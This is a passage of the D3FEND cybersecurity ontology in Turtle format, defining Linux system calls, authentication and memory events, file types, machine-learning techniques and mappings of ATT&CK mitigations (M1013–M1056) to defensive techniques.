    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/ptrace.2.html> ;
    rdfs:subClassOf d3f:OSAPISaveRegisters .

d3f:LinuxPtraceArgumentPTRACEINTERRUPT a owl:Class ;
    rdfs:label "Linux Ptrace Argument PTRACE_INTERRUPT" ;
    d3f:definition "Stops a tracee." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/ptrace.2.html> ;
    rdfs:subClassOf d3f:OSAPISuspendProcess .

d3f:LinuxPtraceArgumentPTRACEPEEKTEXT a owl:Class ;
    rdfs:label "Linux Ptrace Argument PTRACE_PEEKTEXT" ;
    d3f:definition "Read a word at the address addr in the tracee's memory, returning the word as the result of the ptrace() call." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/ptrace.2.html> ;
    rdfs:subClassOf d3f:OSAPIReadMemory .

d3f:LinuxPtraceArgumentPTRACEPOKETEXT a owl:Class ;
    rdfs:label "Linux Ptrace Argument PTRACE_POKETEXT" ;
    d3f:definition "Copy the word data to the address addr in the tracee's memory." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/ptrace.2.html> ;
    rdfs:subClassOf d3f:OSAPIWriteMemory .

d3f:LinuxPtraceArgumentPTRACESETREGS a owl:Class ;
    rdfs:label "Linux Ptrace Argument PTRACE_SETREGS" ;
    d3f:definition "Modify the tracee's general-purpose or floating-point registers, respectively, from the address data in the tracer." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/ptrace.2.html> ;
    rdfs:subClassOf d3f:OSAPISetRegisters .

d3f:LinuxPtraceArgumentPTRACE_DETACH a owl:Class ;
    rdfs:label "Linux Ptrace Argument PTRACE_DETACH" ;
    d3f:definition "Restart the stopped tracee as for PTRACE_CONT, but first detach from it." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/ptrace.2.html> ;
    rdfs:subClassOf d3f:OSAPIResumeProcess .

d3f:LinuxPtraceArgumentPTRACE_TRACEME a owl:Class ;
    rdfs:label "Linux Ptrace Argument PTRACE_TRACEME" ;
    d3f:definition "Indicates that the process is to be traced by its parent." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/ptrace.2.html> ;
    rdfs:subClassOf d3f:OSAPITraceProcess .

d3f:LinuxRead a owl:Class ;
    rdfs:label "Linux Read" ;
    d3f:definition "Read from a file descriptor." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/read.2.html> ;
    rdfs:subClassOf d3f:OSAPIReadFile .

d3f:LinuxReadv a owl:Class ;
    rdfs:label "Linux Readv" ;
    d3f:definition "Read data into multiple buffers." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/readv.2.html> ;
    rdfs:subClassOf d3f:OSAPIReadFile .

d3f:LinuxRename a owl:Class ;
    rdfs:label "Linux Rename" ;
    d3f:definition "Change the name or location of a file." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/rename.2.html> ;
    rdfs:subClassOf d3f:OSAPIMoveFile .

d3f:LinuxRenameat a owl:Class ;
    rdfs:label "Linux Renameat" ;
    d3f:definition "Change the name or location of a file. Different parameter handling than Linux Rename." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/renameat.2.html> ;
    rdfs:subClassOf d3f:OSAPIMoveFile .

d3f:LinuxRenameat2 a owl:Class ;
    rdfs:label "Linux Renameat2" ;
    d3f:definition "Change the name or location of a file. Additional flags argument." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/renameat2.2.html> ;
    rdfs:subClassOf d3f:OSAPIMoveFile .

d3f:LinuxSocket a owl:Class ;
    rdfs:label "Linux Socket" ;
    d3f:definition "Create an endpoint for communication." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/socket.2.html> ;
    rdfs:subClassOf d3f:OSAPICreateSocket .

d3f:LinuxSocketcallArgumentSYS_CONNECT a owl:Class ;
    rdfs:label "Linux Socketcall Argument SYS_CONNECT" ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/socketcall.2.html> ;
    rdfs:subClassOf d3f:OSAPIConnectSocket .

d3f:LinuxSocketcallArgumentSYS_SOCKET a owl:Class ;
    rdfs:label "Linux Socketcall Argument SYS_SOCKET" ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/socketcall.2.html> ;
    rdfs:subClassOf d3f:OSAPICreateSocket .

d3f:LinuxTime a owl:Class ;
    rdfs:label "Linux Time" ;
    d3f:definition "Get time in seconds." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/time.2.html> ;
    rdfs:subClassOf d3f:OSAPIGetSystemTime .

d3f:LinuxUnlink a owl:Class ;
    rdfs:label "Linux Unlink" ;
    d3f:definition "Delete a name and possibly the file it refers to." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/unlink.2.html> ;
    rdfs:subClassOf d3f:OSAPIDeleteFile .

d3f:LinuxUnlinkat a owl:Class ;
    rdfs:label "Linux Unlinkat" ;
    d3f:definition "Delete a name and possibly the file it refers to. Different parameter handling than Linux Unlink" ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/unlinkat.2.html> ;
    rdfs:subClassOf d3f:OSAPIDeleteFile .

d3f:LinuxVfork a owl:Class ;
    rdfs:label "Linux Vfork" ;
    d3f:definition "Create child process that temp suspends parent process until it terminates." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/vfork.2.html> ;
    rdfs:subClassOf d3f:OSAPICreateProcess .

d3f:LinuxWrite a owl:Class ;
    rdfs:label "Linux Write" ;
    d3f:definition "Write to a file descriptor." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/write.2.html> ;
    rdfs:subClassOf d3f:OSAPIWriteFile .

d3f:LinuxWritev a owl:Class ;
    rdfs:label "Linux Writev" ;
    d3f:definition "Write data into multiple buffers." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/writev.2.html> ;
    rdfs:subClassOf d3f:OSAPIWriteFile .

d3f:Linux_Exit a owl:Class ;
    rdfs:label "Linux _Exit" ;
    d3f:definition "Terminate the calling process." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/exit.2.html> ;
    rdfs:subClassOf d3f:OSAPITerminateProcess .

d3f:LocalAreaNetworkAttacker a owl:Class ;
    rdfs:label "Local Area Network Attacker" ;
    d3f:definition "An attacker who exploits vulnerabilities within the same local area network." ;
    d3f:synonym "LAN Attacker" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:LocalAreaNetwork ],
        d3f:LocalAttacker .

d3f:LocalAuthenticationService a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local Authentication Service" ;
    d3f:authenticates d3f:LocalUserAccount ;
    d3f:definition "A local authentication service running on a host can authenticate a user logged into just that local host computer." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:LocalUserAccount ],
        d3f:AuthenticationService .

d3f:LocalAuthorizationService a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local Authorization Service" ;
    d3f:authorizes d3f:LocalUserAccount ;
    d3f:definition "A local authorization service running on a host can authorize a user logged into just that local host computer." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authorizes ;
            owl:someValuesFrom d3f:LocalUserAccount ],
        d3f:AuthorizationService .

d3f:LogMessageFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Log Message Function" ;
    d3f:definition "Produces an entry in a log." ;
    d3f:produces d3f:DigitalEventRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:DigitalEventRecord ],
        d3f:Subroutine .

d3f:LogististicRegressionLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Logistic Regression Learning" ;
    d3f:d3fend-id "D3A-LRL" ;
    d3f:definition "A supervised learning method that builds a logistic regression model using training data." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Logistic regression. [Link](https://en.wikipedia.org/wiki/Logistic_regression)""" ;
    rdfs:seeAlso d3f:LogisticRegression ;
    rdfs:subClassOf d3f:RegressionAnalysisLearning .

d3f:LogoffEvent a owl:Class ;
    rdfs:label "Logoff Event" ;
    d3f:definition "An authentication event where an active session is conclusively terminated, resulting in the cessation of access and deallocation of resources associated with the session, ensuring that the connection to the system, application, or resource no longer exists." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:Session ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:LogonEvent ],
        d3f:AuthenticationEvent .

d3f:LogonUser a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Logon User" ;
    d3f:authenticates d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:SystemCall .

d3f:LongShort-termMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Long Short-term Memory" ;
    d3f:d3fend-id "D3A-LSTM" ;
    d3f:definition "Unlike standard feedforward neural networks, LSTM has feedback connections. Such a recurrent neural network (RNN) can process not only single data points (such as images), but also entire sequences of data (such as speech or video). This characteristic makes LSTM networks ideal for processing and predicting data" ;
    d3f:kb-article """## References
Wikipedia. (2021, September 29). Long short-term memory. [Link](https://en.wikipedia.org/wiki/Long_short-term_memory)""" ;
    rdfs:subClassOf d3f:RecurrentNeuralNetwork .

d3f:LuaScriptFile a d3f:ExecutableScript,
        owl:NamedIndividual ;
    rdfs:label "Lua Script File" .

d3f:M1013 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Application Developer Guidance" ;
    d3f:d3fend-comment "A future release of D3FEND will define a taxonomy of Source Code Hardening Techniques." .

d3f:M1015 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Active Directory Configuration" ;
    d3f:d3fend-comment "M1015 scope is broad, touches on an wide variety of techniques in D3FEND." ;
    d3f:related d3f:AuthenticationCacheInvalidation,
        d3f:DomainTrustPolicy,
        d3f:UserAccountPermissions .

d3f:M1016 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Vulnerability Scanning" ;
    d3f:d3fend-comment "Future D3FEND releases will model the scanning and inventory domains." .

d3f:M1017 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "User Training" ;
    d3f:d3fend-comment "Modeling user training is  outside the scope of D3FEND." .

d3f:M1018 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "User Account Management" ;
    d3f:related d3f:LocalFilePermissions,
        d3f:SystemCallFiltering,
        d3f:SystemConfigurationPermissions .

d3f:M1019 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Threat Intelligence Program" ;
    d3f:d3fend-comment "Establishing and running a Threat Intelligence Program is outside the scope of D3FEND." .

d3f:M1020 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "SSL/TLS Inspection" ;
    d3f:d3fend-comment "D3FEND models this as an infrastructure dependency to support D3-NTA." ;
    d3f:related d3f:NetworkTrafficAnalysis .

d3f:M1021 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Restrict Web-Based Content" ;
    d3f:d3fend-comment "M1021 scope is broad, touches on an wide variety of techniques in d3fend." ;
    d3f:related d3f:DNSAllowlisting,
        d3f:DNSDenylisting,
        d3f:FileAnalysis,
        d3f:InboundTrafficFiltering,
        d3f:NetworkTrafficAnalysis,
        d3f:OutboundTrafficFiltering,
        d3f:URLAnalysis .

d3f:M1022 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Restrict File and Directory Permissions" ;
    d3f:related d3f:LocalFilePermissions .

d3f:M1024 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Restrict Registry Permission" ;
    d3f:related d3f:SystemConfigurationPermissions .

d3f:M1025 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Privileged Process Integrity" ;
    d3f:related d3f:BootloaderAuthentication,
        d3f:DriverLoadIntegrityChecking,
        d3f:ProcessSegmentExecutionPrevention,
        d3f:SystemCallFiltering .

d3f:M1026 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Privileged Account Management" ;
    d3f:related d3f:DomainAccountMonitoring,
        d3f:LocalAccountMonitoring,
        d3f:StrongPasswordPolicy .

d3f:M1027 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Password Policies" ;
    d3f:related d3f:One-timePassword,
        d3f:StrongPasswordPolicy .

d3f:M1028 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Operating System Configuration" ;
    d3f:related d3f:PlatformHardening .

d3f:M1029 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Remote Data Storage" ;
    d3f:d3fend-comment "IT disaster recovery plans are outside the current scope of D3FEND." .

d3f:M1030 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Network Segmentation" ;
    d3f:related d3f:BroadcastDomainIsolation,
        d3f:EncryptedTunnels,
        d3f:InboundSessionVolumeAnalysis,
        d3f:InboundTrafficFiltering .

d3f:M1031 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Network Intrusion Prevention" ;
    d3f:related d3f:InboundTrafficFiltering,
        d3f:NetworkTrafficAnalysis,
        d3f:OutboundTrafficFiltering .

d3f:M1032 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Multi-factor Authentication" ;
    d3f:related d3f:Multi-factorAuthentication .

d3f:M1033 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Limit Software Installation" ;
    d3f:related d3f:ExecutableAllowlisting,
        d3f:ExecutableDenylisting .

d3f:M1034 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Limit Hardware Installation" ;
    d3f:related d3f:IOPortRestriction .

d3f:M1035 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Limit Access to Resource Over Network" ;
    d3f:related d3f:NetworkIsolation .

d3f:M1036 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Account Use Policies" ;
    d3f:d3fend-comment "D3-AZET may be related (is potentially related though not called out in ATT&CK definition.)" ;
    d3f:related d3f:AccountLocking,
        d3f:AuthenticationCacheInvalidation,
        d3f:AuthenticationEventThresholding .

d3f:M1037 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Filter Network Traffic" ;
    d3f:related d3f:NetworkIsolation .

d3f:M1038 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Execution Prevention" ;
    d3f:related d3f:DriverLoadIntegrityChecking,
        d3f:ExecutableAllowlisting,
        d3f:ExecutableDenylisting,
        d3f:ProcessSegmentExecutionPrevention .

d3f:M1039 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Environment Variable Permissions" ;
    d3f:related d3f:ApplicationConfigurationHardening,
        d3f:SystemFileAnalysis .

d3f:M1040 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Behavior Prevention on Endpoint" ;
    d3f:related d3f:AuthenticationEventThresholding,
        d3f:AuthorizationEventThresholding,
        d3f:JobFunctionAccessPatternAnalysis,
        d3f:ResourceAccessPatternAnalysis,
        d3f:SessionDurationAnalysis,
        d3f:UserDataTransferAnalysis,
        d3f:UserGeolocationLogonPatternAnalysis,
        d3f:WebSessionActivityAnalysis .

d3f:M1041 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Encrypt Sensitive Information" ;
    d3f:related d3f:DiskEncryption,
        d3f:EncryptedTunnels,
        d3f:FileEncryption,
        d3f:MessageEncryption .

d3f:M1042 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Disable or Remove Feature or Program" ;
    d3f:related d3f:ApplicationConfigurationHardening,
        d3f:ExecutableDenylisting,
        d3f:SystemCallFiltering .

d3f:M1043 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Credential Access Protection" ;
    d3f:related d3f:Hardware-basedProcessIsolation .

d3f:M1044 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Restrict Library Loading" ;
    d3f:d3fend-comment "D3-SCF is one possible way to filter library loading." ;
    d3f:related d3f:SystemCallFiltering .

d3f:M1045 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Code Signing" ;
    d3f:related d3f:DriverLoadIntegrityChecking,
        d3f:ExecutableAllowlisting,
        d3f:ServiceBinaryVerification .

d3f:M1046 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Boot Integrity" ;
    d3f:related d3f:BootloaderAuthentication,
        d3f:TPMBootIntegrity .

d3f:M1047 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Audit" ;
    d3f:d3fend-comment "M1047 scope is broad, touches on an wide variety of techniques in d3fend." ;
    d3f:related d3f:DomainAccountMonitoring,
        d3f:LocalAccountMonitoring,
        d3f:SystemFileAnalysis .

d3f:M1048 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Application Isolation and Sandboxing" ;
    d3f:d3fend-comment "\"Sandboxing\" is often used to describe a detection environment which includes some forms of analysis (see D3-DA.)\"  Many forms of isolation (e.g., quarantining) are more static in nature and simply limit software's access to system resources." ;
    d3f:related d3f:DynamicAnalysis,
        d3f:Hardware-basedProcessIsolation,
        d3f:SystemCallFiltering .

d3f:M1049 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Antivirus/Antimalware" ;
    d3f:d3fend-comment "Process Analysis and subclasses." ;
    d3f:related d3f:FileContentRules,
        d3f:FileHashing,
        d3f:ProcessAnalysis .

d3f:M1050 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Exploit Protection" ;
    d3f:related d3f:ApplicationHardening,
        d3f:ExceptionHandlerPointerValidation,
        d3f:InboundTrafficFiltering,
        d3f:ShadowStackComparisons .

d3f:M1051 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Update Software" ;
    d3f:related d3f:SoftwareUpdate .

d3f:M1052 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "User Account Control" ;
    d3f:related d3f:SystemCallFiltering .

d3f:M1053 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Data Backup" ;
    d3f:d3fend-comment "Comprehensive IT disaster recovery plans are outside the current scope of D3FEND." .

d3f:M1054 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Software Configuration" ;
    d3f:related d3f:ApplicationConfigurationHardening,
        d3f:CertificatePinning .

d3f:M1055 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Do Not Mitigate" .

d3f:M1056 a d3f:ATTACKEnterpriseMitigation,
        owl:NamedIndividual ;
    rdfs:label "Pre-compromise" ;
    d3f:related d3f:DecoyEnvironment,
        d3f:DecoyObject .

d3f:MACAddress a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "MAC Address" ;
    d3f:definition "A media access control address (MAC address) is a unique identifier assigned to a network interface controller (NIC) for use as a network address in communications within a network segment." ;
    d3f:identifies d3f:NetworkInterfaceCard ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/MAC_address> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:identifies ;
            owl:someValuesFrom d3f:NetworkInterfaceCard ],
        d3f:Identifier .

d3f:MSGEmailFile a d3f:Email,
        owl:NamedIndividual ;
    rdfs:label "MSG Email File" .

d3f:Maximum-marginLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Maximum-margin Learning" ;
    d3f:d3fend-id "D3A-MML" ;
    d3f:definition "Maximum-margin classifiers attempt to maximize the distance between the given data points and the decision boundary" ;
    d3f:kb-article """## References
Engelen, S., & Hoos, H. (2020). A survey on semi-supervised learning. Machine Learning, 109(2), 299-337. [Link](https://link.springer.com/article/10.1007/s10994-019-05855-6).

Support Vector Machines for Machine Learning. [Link](https://machinelearningmastery.com/support-vector-machines-for-machine-learning/#:~:text=The%20distance%20between%20the%20line,called%20the%20Maximal%2DMargin%20hyperplane.)""" ;
    rdfs:subClassOf d3f:IntrinsicallySemi-supervisedLearning .

d3f:MediaGeneration a owl:Class ;
    rdfs:label "Media Generation" ;
    rdfs:subClassOf d3f:Generation ;
    owl:disjointWith d3f:Simulation .

d3f:MediaServer a owl:Class ;
    rdfs:label "Media Server" ;
    d3f:definition "A media server is a computer appliance or an application software that stores digital media (video, audio or images) and makes it available over a network. Media servers range from servers that provide video on demand to smaller personal computers or NAS (Network Attached Storage) for the home." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Media_server> ;
    rdfs:subClassOf d3f:Server .

d3f:MemoryAllocationFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Memory Allocation Function" ;
    d3f:definition "Reserves memory for a running process to use." ;
    d3f:invokes d3f:AllocateMemory ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:AllocateMemory ],
        d3f:Subroutine .

d3f:MemoryDeviceEvent a owl:Class ;
    rdfs:label "Memory Device Event" ;
    d3f:definition "An event describing activity in primary storage devices, such as DRAM or SRAM memory initialization, reconfiguration, or failures." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:PrimaryStorage ],
        d3f:HardwareDeviceEvent .

d3f:MemoryMapEvent a owl:Class ;
    rdfs:label "Memory Map Event" ;
    d3f:definition "An event representing the mapping of memory regions into a process's virtual address space, enabling efficient access to shared or reserved memory." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:VirtualMemorySpace ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:MemoryAllocationEvent ],
        d3f:MemoryEvent .

d3f:MemoryModificationEvent a owl:Class ;
    rdfs:label "Memory Modification Event" ;
    d3f:definition "An event where a process modifies allocated memory, potentially altering its content, behavior, or state." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:MemoryAllocationEvent ],
        d3f:MemoryEvent .

d3f:MemoryPool a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Memory Pool" ;
    d3f:contains d3f:MemoryBlock ;
    d3f:definition "Memory pools, also called fixed-size blocks allocation, is the use of pools for memory management… preallocating a number of memory blocks with the same size called the memory pool. The application can allocate, access, and free blocks represented by handles at run time." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Memory_pool> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:MemoryBlock ],
        d3f:MemoryExtent .

d3f:MemoryReadEvent a owl:Class ;
    rdfs:label "Memory Read Event" ;
    d3f:definition "An event where a process retrieves data from a specific memory address, either from its own allocated space or that of another process." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:MemoryAllocationEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:RawMemoryAccessFunction ],
        d3f:MemoryEvent .

d3f:MemoryWriteEvent a owl:Class ;
    rdfs:label "Memory Write Event" ;
    d3f:definition "An event where a process writes data to a memory address, storing new information or updating existing content." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:MemoryAllocationEvent ],
        d3f:MemoryEvent .

d3f:Microcode a owl:Class ;
    rdfs:label "Microcode" ;
    d3f:definition "Microcode is a computer hardware technique that interposes a layer of organization between the CPU hardware and the programmer-visible instruction set architecture of the computer. As such, the microcode is a layer of hardware-level instructions that implement higher-level machine code instructions or internal state machine sequencing in many digital processing elements." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Microcode> ;
    rdfs:subClassOf d3f:Firmware .

d3f:MicrosoftWordDOCBFile a d3f:DocumentFile,
        owl:NamedIndividual ;
    rdfs:label "Microsoft Word DOCB File" .

d3f:MicrosoftWordDOCFile a d3f:DocumentFile,
        owl:NamedIndividual ;
    rdfs:label "Microsoft Word DOC File" .

d3f:MicrosoftWordDOCMFile a d3f:DocumentFile,
        owl:NamedIndividual ;
    rdfs:label "Microsoft Word DOCM File" .

d3f:MicrosoftWordDOCXFile a d3f:DocumentFile,
        owl:NamedIndividual ;
    rdfs:label "Microsoft Word DOCX File" .

d3f:MicrosoftWordDOTFile a d3f:DocumentFile,
        owl:NamedIndividual ;
    rdfs:label "Microsoft Word DOT File" .

d3f:MicrosoftWordDOTMFile a d3f:DocumentFile,
        owl:NamedIndividual ;
    rdfs:label "Microsoft Word DOTM File" .

d3f:MicrosoftWordDOTXFile a d3f:DocumentFile,
        owl:NamedIndividual ;
    rdfs:label "Microsoft Word DOTX File" .

d3f:MicrosoftWordWBKFile a d3f:DocumentFile,
        owl:NamedIndividual ;
    rdfs:label "Microsoft Word WBK File" .

d3f:MobilePhone a owl:Class ;
    rdfs:label "Mobile Phone" ;
    d3f:definition "A mobile phone, cellular phone, cell phone, cellphone or hand phone, sometimes shortened to simply mobile, cell or just phone, is a portable telephone that can make and receive calls over a radio frequency link while the user is moving within a telephone service area. The radio frequency link establishes a connection to the switching systems of a mobile phone operator, which provides access to the public switched telephone network (PSTN). Modern mobile telephone services use a cellular network architecture and, therefore, mobile telephones are called cellular telephones or cell phones in North America. In addition to telephony, digital mobile phones (2G) support a variety of other services, such as text messaging, MMS, email, Internet access, short-range wireless communications (infrared," ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Mobile_phone> ;
    rdfs:subClassOf d3f:PersonalComputer ;
    skos:altLabel "Cellphone",
        "Cellular Phone" .

d3f:Model-basedPolicyOptimization a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Model-based Policy Optimization" ;
    d3f:d3fend-id "D3A-MBPO" ;
    d3f:definition "Model-based policy optimization (MBPO) is a model-based, online, off-policy reinforcement learning algorithm. For more information on the different types of reinforcement learning agents" ;
    d3f:kb-article """## References
MBPO Agents. MathWorks.  [Link](https://www.mathworks.com/help/reinforcement-learning/ug/mbpo-agents.html).""" ;
    rdfs:subClassOf d3f:Model-basedReinforcementLearning .

d3f:Model-basedValueIteration a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Model-based Value Iteration" ;
    d3f:d3fend-id "D3A-MBVI" ;
    d3f:definition "Value Iteration effectively reducesthe evaluation stage down to a single sweep of the states. Additionally, to improve things further, it combines the Policy Evaluation and Policy Improvement stages into a single update." ;
    d3f:kb-article """## References
Policy and Value Iteration. Towards Data Science.  [Link](https://towardsdatascience.com/policy-and-value-iteration-78501afb41d2).""" ;
    d3f:synonym "MBVI" ;
    rdfs:subClassOf d3f:Model-basedReinforcementLearning .

d3f:MotionDetectedEvent a owl:Class ;
    rdfs:label "Motion Detected Event" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:MotionDetector ],
        d3f:PhysicalAccessAlarmEvent .

d3f:MouseInputDevice a owl:Class ;
    rdfs:label "Mouse Input Device" ;
    d3f:definition "A computer mouse (plural mice or mouses) is a hand-held pointing device that detects two-dimensional motion relative to a surface. This motion is typically translated into the motion of a pointer on a display, which allows a smooth control of the graphical user interface of a computer. In addition to moving a cursor, computer mice have one or more buttons to allow operations such as selection of a menu item on a display. Mice often also feature other elements, such as touch surfaces and scroll wheels, which enable additional control and dimensional input." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Computer_mouse> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Pointing_device> ;
    rdfs:subClassOf d3f:InputDevice ;
    skos:altLabel "Computer Mouse" .

d3f:MovingAverageModel a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Moving Average Model" ;
    d3f:d3fend-id "D3A-MAM" ;
    d3f:definition "the moving-average model (MA model) is an approach for modeling univariate time series and specifies that the output variable is cross-correlated with a non-identical to itself random-variable." ;
    d3f:kb-article """## Refrences
Wikipedia. (n.d.). Moving average model. [Link](https://en.wikipedia.org/wiki/Moving_average_model)""" ;
    d3f:synonym "MA Model" ;
    rdfs:subClassOf d3f:TimeSeriesAnalysis .

d3f:MulticlassClassification a owl:Class ;
    rdfs:label "Multiclass Classification" ;
    rdfs:subClassOf d3f:Classifying .

d3f:MultilayerPerceptronClassification a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Multilayer Perceptron Classification" ;
    d3f:d3fend-id "D3A-MPC" ;
    d3f:definition "A multilayer perceptron (MLP) is a fully connected class of feedforward artificial neural network (ANN).An MLP consists of at least three layers of nodes: an input layer, a hidden layer and an output layer." ;
    d3f:kb-article """## References
